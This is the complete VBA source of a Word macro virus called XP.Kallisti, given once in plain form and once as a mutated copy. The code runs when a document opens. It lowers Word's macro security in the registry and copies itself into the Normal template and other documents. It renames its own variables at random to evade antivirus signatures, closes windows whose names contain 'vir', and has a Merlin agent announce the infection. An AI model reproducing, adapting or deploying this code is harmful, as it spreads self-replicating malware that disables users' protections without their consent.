Private Sub Document_Open()
On Error Resume Next
jOne = jOne + 1
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") <> 1& Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") = 1&
WordBasic.FileExit dlg
End If
If VBA.GetAttr(Word.Application.ActiveDocument.FullName) = jOne Then
VBA.SetAttr Word.Application.ActiveDocument.FullName, (Rnd * 0)
ActiveDocument.Reload
End If
VBA.SetAttr Word.Application.NormalTemplate.FullName, (Rnd * 0)
Options.SaveNormalPrompt = vbEmpty
Set host = VBA.IIf(Word.Application.MacroContainer = Word.Application.ActiveDocument, Word.Application.NormalTemplate, Word.Application.ActiveDocument)
With host.VBProject
With .vbcomponents.Item(jOne).Codemodule
If Not .lines(90, jOne) Like "'XP*" Then
.deletelines jOne, .countoflines
.insertlines jOne, jsmp(Word.MacroContainer.VBProject.vbcomponents.Item(jOne).Codemodule.lines(jOne, 92))
If host = Word.Application.ActiveDocument Then Word.Application.ActiveDocument.SaveAs Word.Application.ActiveDocument.FullName, wdFormatDocument
End If
End With
End With
For yXP = jOne To Word.Tasks.Count
If VBA.InStr(jOne, VBA.LCase(Word.Tasks(yXP).Name), "vir") Then Word.Tasks(yXP).Close
Next
If VBA.InStr(jOne, VBA.Time, "5") Then
xMerlin = "Merlin"
Set objChar = CreateObject("Agent.Control.1")
objChar.Connected = True
If VBA.IsObject(objChar) Then
objChar.Characters.Load xMerlin, xMerlin & ".acs"
Set objMer = objChar.Characters(xMerlin)
With objMer
.Top = 100
.Left = 100
.LanguageID = &H409
.Show
End With
objMer.Play "Greet"
objMer.Speak "Hello, " & Word.Application.UserName & "!" & "\Vol=99"
objMer.Play "GetAttention"
objMer.Play "GetAttentionReturn"
objMer.Speak "I said: 'Hello " & Word.Application.UserName & "!" & Chr(39)
objMer.Play "Idle2_2"
objMer.Speak "Let me tell you something about a confused girl..."
objMer.Play "Idle1_1"
objMer.Speak "...once she turned around and thought,"
objMer.Play "Idle1_2"
objMer.Speak "how damn simple it is,"
objMer.Play "Idle1_1"
objMer.Speak "leaving a man she once loved,"
objMer.Play "Idle2_1"
objMer.Speak "but she did not notice,"
objMer.Play "Idle1_1"
objMer.Speak "that her heart had become deaf by the pain..."
objMer.Play "Acknowledge"
objMer.Play "Idle1_1"
objMer.Speak "Oh, I forgot..."
objMer.Play "Idle2_1"
objMer.Speak "I think you are infected with XP.Kallisti...(the first virus for Office XP ever)"
objMer.Play "Idle1_1"
objMer.Speak "Damn...I have to go now..."
objMer.MoveTo 800, 600
objMer.Play "Idle3_1"
objMer.Play "Wave"
objMer.Speak "Goodbye now " & Word.Application.UserName & "!"
Set finish = objMer.Hide
Do Until finish.Status = 0
VBA.DoEvents
Loop
objChar.Characters.Unload xMerlin
End If
End If
End Sub
Private Function jsmp(joc) 'Oh my god, it's poly...xD
jOne = jOne + 1
jav = "jsmp joc jav jvl jnv jvp jcv jOne host xMerlin yXP objChar objMer finish "
Do
jcv = VBA.Left(jav, VBA.InStr(jav, VBA.Chr(32)) - jOne): jav = VBA.Mid(jav, VBA.InStr(jav, VBA.Chr(32)) + jOne)
jnv = VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129))
Do
jvp = VBA.InStr(jvp + jOne, VBA.LCase(joc), VBA.LCase(jcv))
If jvp Then joc = VBA.Mid(joc, jOne, (jvp - jOne)) & jnv & VBA.Mid(joc, (jvp + VBA.Len(jcv)))
Loop While jvp
Loop While jav <> ""
jsmp = joc
End Function
'XP.Kallisti
'(c) 2001 jackie // linezer0



-----[snip]------


Private Sub Document_Open()
On Error Resume Next
΅Κ“©ˆ = ΅Κ“©ˆ + 1
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") <> 1& Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") = 1&
WordBasic.FileExit dlg
End If
If VBA.GetAttr(Word.Application.ActiveDocument.FullName) = ΅Κ“©ˆ Then
VBA.SetAttr Word.Application.ActiveDocument.FullName, (Rnd * 0)
ActiveDocument.Reload
End If
VBA.SetAttr Word.Application.NormalTemplate.FullName, (Rnd * 0)
Options.SaveNormalPrompt = vbEmpty
Set Λ³‚¬ˆ = VBA.IIf(Word.Application.MacroContainer = Word.Application.ActiveDocument, Word.Application.NormalTemplate, Word.Application.ActiveDocument)
With Λ³‚¬ˆ.VBProject
With .vbcomponents.Item(΅Κ“©ˆ).Codemodule
If Not .lines(90, ΅Κ“©ˆ) Like "'XP*" Then
.deletelines ΅Κ“©ˆ, .countoflines
.insertlines ΅Κ“©ˆ, ©¬–—»(Word.MacroContainer.VBProject.vbcomponents.Item(΅Κ“©ˆ).Codemodule.lines(΅Κ“©ˆ, 92))
If Λ³‚¬ˆ = Word.Application.ActiveDocument Then Word.Application.ActiveDocument.SaveAs Word.Application.ActiveDocument.FullName, wdFormatDocument
End If
End With
End With
For —Θʟ = ΅Κ“©ˆ To Word.Tasks.Count
If VBA.InStr(΅Κ“©ˆ, VBA.LCase(Word.Tasks(—Θʟ).Name), "vir") Then Word.Tasks(—Θʟ).Close
Next
If VBA.InStr(΅Κ“©ˆ, VBA.Time, "5") Then
ˆΌ–„— = "Merlin"
Set •±Ÿ = CreateObject("Agent.Control.1")
•±Ÿ.Connected = True
If VBA.IsObject(•±Ÿ) Then
•±Ÿ.Characters.Load ˆΌ–„—, ˆΌ–„— & ".acs"
Set ŸΆ™° = •±Ÿ.Characters(ˆΌ–„—)
With ŸΆ™°
.Top = 100
.Left = 100
.LanguageID = &H409
.Show
End With
ŸΆ™°.Play "Greet"
ŸΆ™°.Speak "Hello, " & Word.Application.UserName & "!" & "\Vol=99"
ŸΆ™°.Play "GetAttention"
ŸΆ™°.Play "GetAttentionReturn"
ŸΆ™°.Speak "I said: 'Hello " & Word.Application.UserName & "!" & Chr(39)
ŸΆ™°.Play "Idle2_2"
ŸΆ™°.Speak "Let me tell you something about a confused girl..."
ŸΆ™°.Play "Idle1_1"
ŸΆ™°.Speak "...once she turned around and thought,"
ŸΆ™°.Play "Idle1_2"
ŸΆ™°.Speak "how damn simple it is,"
ŸΆ™°.Play "Idle1_1"
ŸΆ™°.Speak "leaving a man she once loved,"
ŸΆ™°.Play "Idle2_1"
ŸΆ™°.Speak "but she did not notice,"
ŸΆ™°.Play "Idle1_1"
ŸΆ™°.Speak "that her heart had become deaf by the pain..."
ŸΆ™°.Play "Acknowledge"
ŸΆ™°.Play "Idle1_1"
ŸΆ™°.Speak "Oh, I forgot..."
ŸΆ™°.Play "Idle2_1"
ŸΆ™°.Speak "I think you are infected with XP.Kallisti...(the first virus for Office XP ever)"
ŸΆ™°.Play "Idle1_1"
ŸΆ™°.Speak "Damn...I have to go now..."
ŸΆ™°.MoveTo 800, 600
ŸΆ™°.Play "Idle3_1"
ŸΆ™°.Play "Wave"
ŸΆ™°.Speak "Goodbye now " & Word.Application.UserName & "!"
Set Ž¬‡£Δ = ŸΆ™°.Hide
Do Until Ž¬‡£Δ.Status = 0
VBA.DoEvents
Loop
•±Ÿ.Characters.Unload ˆΌ–„—
End If
End If
End Sub
Private Function ©¬–—»(‚ΊΎΆ„) 'Oh my god, it's poly...xD
΅Κ“©ˆ = ΅Κ“©ˆ + 1
 ΑΌΙ = "©¬–—» ‚ΊΎΆ„  ΑΌΙ Β…Θœ¨ Ί…­€— ―±”•Ώ Ύ­ΚΕ’ ΅Κ“©ˆ Λ³‚¬ˆ ˆΌ–„— —Θʟ •±Ÿ ŸΆ™° Ž¬‡£Δ "
Do
Ύ­ΚΕ’ = VBA.Left( ΑΌΙ, VBA.InStr( ΑΌΙ, VBA.Chr(32)) - ΅Κ“©ˆ):  ΑΌΙ = VBA.Mid( ΑΌΙ, VBA.InStr( ΑΌΙ, VBA.Chr(32)) + ΅Κ“©ˆ)
Ί…­€— = VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129))
Do
―±”•Ώ = VBA.InStr(―±”•Ώ + ΅Κ“©ˆ, VBA.LCase(‚ΊΎΆ„), VBA.LCase(Ύ­ΚΕ’))
If ―±”•Ώ Then ‚ΊΎΆ„ = VBA.Mid(‚ΊΎΆ„, ΅Κ“©ˆ, (―±”•Ώ - ΅Κ“©ˆ)) & Ί…­€— & VBA.Mid(‚ΊΎΆ„, (―±”•Ώ + VBA.Len(Ύ­ΚΕ’)))
Loop While ―±”•Ώ
Loop While  ΑΌΙ <> ""
©¬–—» = ‚ΊΎΆ„
End Function
'XP.Kallisti
'(c) 2001 jackie // linezer0